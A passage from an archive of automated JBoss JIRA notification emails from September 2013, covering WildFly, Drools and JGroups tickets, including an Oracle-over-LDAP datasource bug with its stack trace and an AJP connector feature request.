>            Priority: Minor
>         Attachments: requiredsecret.diff, requiredsecret.diff
>
>
> In JBoss 5 I could set the requiredSecret attribute of the AJP connector. This is no longer possible in JBoss AS 7 and WildFly
> This request is to get it implemented similarly to WFLY-254 for tomcatAuthentication

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:10:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 09:10:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1589) requiredSecret attribute on
 the AJP connector
In-Reply-To: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495134.1372241506000.23612.1378991404050@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1589?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803866#comment-12803866 ] 

RH Bugzilla Integration commented on WFLY-1589:
-----------------------------------------------

Radim Hatlapatka <rhatlapa at redhat.com> made a comment on [bug 997009|https://bugzilla.redhat.com/show_bug.cgi?id=997009]

Verified with EAP 6.2.0.ER1
                
> requiredSecret attribute on the AJP connector
> ---------------------------------------------
>
>                 Key: WFLY-1589
>                 URL: https://issues.jboss.org/browse/WFLY-1589
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (JBoss Web)
>            Reporter: Tom Fonteyne
>            Assignee: Tom Fonteyne
>            Priority: Minor
>         Attachments: requiredsecret.diff, requiredsecret.diff
>
>
> In JBoss 5 I could set the requiredSecret attribute of the AJP connector. This is no longer possible in JBoss AS 7 and WildFly
> This request is to get it implemented similarly to WFLY-254 for tomcatAuthentication

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:29:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 09:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23661.1378992543785@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803876#comment-12803876 ] 

Jesper Pedersen commented on WFLY-2047:
---------------------------------------

[~darranl] Do you have input on this ?
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:35:04 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Thu, 12 Sep 2013 09:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-259) kie-wb-eap_6.1.war deployed
 in JBoss EAP 6.1 aleatory doesn't find project editor
In-Reply-To: <JIRA.12500610.1378992848021@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500610.1378992848021@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500610.1378992848021.23691.1378992904193@jira02.app.mwc.hst.phx2.redhat.com>

Michael Biarnes Kiefer created DROOLS-259:
---------------------------------------------

             Summary: kie-wb-eap_6.1.war deployed in JBoss EAP 6.1 aleatory doesn't find project editor
                 Key: DROOLS-259
                 URL: https://issues.jboss.org/browse/DROOLS-259
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
         Environment: fedora 18, mozilla firefox 18,
            Reporter: Michael Biarnes Kiefer
            Assignee: Mario Fusco
            Priority: Optional


After login to JBoss EAP 6.1 (kie-wb-eap.6.1.war) and accessing project authoring. This "error" happens randomly - but doesn't prevent to continue using the application

https://gist.github.com/mbiarnes/6535526

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-191) Dynamic addition of rules
 with "evals" does not update the WM
In-Reply-To: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496642.1374011784000.23715.1378993263867@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-191?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803884#comment-12803884 ] 

RH Bugzilla Integration commented on DROOLS-191:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 995107|https://bugzilla.redhat.com/show_bug.cgi?id=995107]

Verified on 5.3.1.BRMS-P04.
                
> Dynamic addition of rules with "evals" does not update the WM
> -------------------------------------------------------------
>
>                 Key: DROOLS-191
>                 URL: https://issues.jboss.org/browse/DROOLS-191
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Minor
>             Fix For: 5.5.1.Final, 6.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 09:41:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 09:41:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-191) Dynamic addition of rules
 with "evals" does not update the WM
In-Reply-To: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496642.1374011784000.23722.1378993264167@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-191?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803886#comment-12803886 ] 

RH Bugzilla Integration commented on DROOLS-191:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 995107|https://bugzilla.redhat.com/show_bug.cgi?id=995107] from ON_QA to VERIFIED
                
> Dynamic addition of rules with "evals" does not update the WM
> -------------------------------------------------------------
>
>                 Key: DROOLS-191
>                 URL: https://issues.jboss.org/browse/DROOLS-191
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Minor
>             Fix For: 5.5.1.Final, 6.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:03:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2052) Update add-user to inform
 user when realm auto detected.
In-Reply-To: <JIRA.12500617.1378994483260@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500617.1378994483260@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500617.1378994483260.23786.1378994583606@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2052:
--------------------------------------

             Summary: Update add-user to inform user when realm auto detected.
                 Key: WFLY-2052
                 URL: https://issues.jboss.org/browse/WFLY-2052
             Project: WildFly
          Issue Type: Enhancement
          Components: Domain Management
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Critical
             Fix For: 8.0.0.Beta1


The add-user utility now auto detects the name of the realm previously used in the properties files, the realm prompt is displayed but continues immediately to the next prompt as there is no need for user entry.

This Jira issue is to enhance this so that a suitable message is displayed to the user informing them why they are not needing to enter a realm.

Note: Specifying different realms for each user was never actually supported and would just lead to an invalid and unusable properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:03:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.23790.1378994583775@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1691.
----------------------------

    Resolution: Done


Applied PR, cherry-picked to 3.3 as well
                
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:03:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Thu, 12 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1922) Test rbac for jmx in the
	testsuite
In-Reply-To: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499144.1377160350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499144.1377160350000.23795.1378994583948@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1922?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803902#comment-12803902 ] 

Ladislav Thon commented on WFLY-1922:
-------------------------------------

Progress note: the {{StandardRolesBasicTestCase}} was refactored to incorporate all management interfaces, including JMX, so this covers the management facade portion of exposed MBeans. One other test that covers non-core MBeans is in the works.
                
> Test rbac for jmx in the testsuite
> ----------------------------------
>
>                 Key: WFLY-1922
>                 URL: https://issues.jboss.org/browse/WFLY-1922
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Ladislav Thon
>             Fix For: 8.0.0.CR1
>
>
> This has been done, and the PR is at https://github.com/wildfly/wildfly/pull/4948.
> I've added some tests in the subsystem itself JmxRbacEnabledTestCase & JmxRbacDisabledTestCase but it could probably do with further testing in the testsuite once it is in upstream.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-40) In Stream mode an event with
 a duration get retracted even if its lifecycle isn't terminated yet
In-Reply-To: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485076.1361184908000.23800.1378994943431@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-40?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803904#comment-12803904 ] 

RH Bugzilla Integration commented on DROOLS-40:
-----------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 995021|https://bugzilla.redhat.com/show_bug.cgi?id=995021]

Verified on 5.3.1.BRMS-P04.
                
> In Stream mode an event with a duration get retracted even if its lifecycle isn't terminated yet
> ------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-40
>                 URL: https://issues.jboss.org/browse/DROOLS-40
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> In STREAM mode an event should be automatically retracted based on its end timestamp, not on the start one.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-40) In Stream mode an event with
 a duration get retracted even if its lifecycle isn't terminated yet
In-Reply-To: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485076.1361184908000.23803.1378994943616@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-40?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803905#comment-12803905 ] 

RH Bugzilla Integration commented on DROOLS-40:
-----------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 995021|https://bugzilla.redhat.com/show_bug.cgi?id=995021] from ON_QA to VERIFIED
                
> In Stream mode an event with a duration get retracted even if its lifecycle isn't terminated yet
> ------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-40
>                 URL: https://issues.jboss.org/browse/DROOLS-40
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> In STREAM mode an event should be automatically retracted based on its end timestamp, not on the start one.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:11:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 10:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23815.1378995063858@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803907#comment-12803907 ] 

Darran Lofthouse commented on WFLY-2047:
----------------------------------------

Hi Jesper, As this is how the Oracle connection is defined shouldn't it be the Oracle driver that has the dependency on sun.jdk ?
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
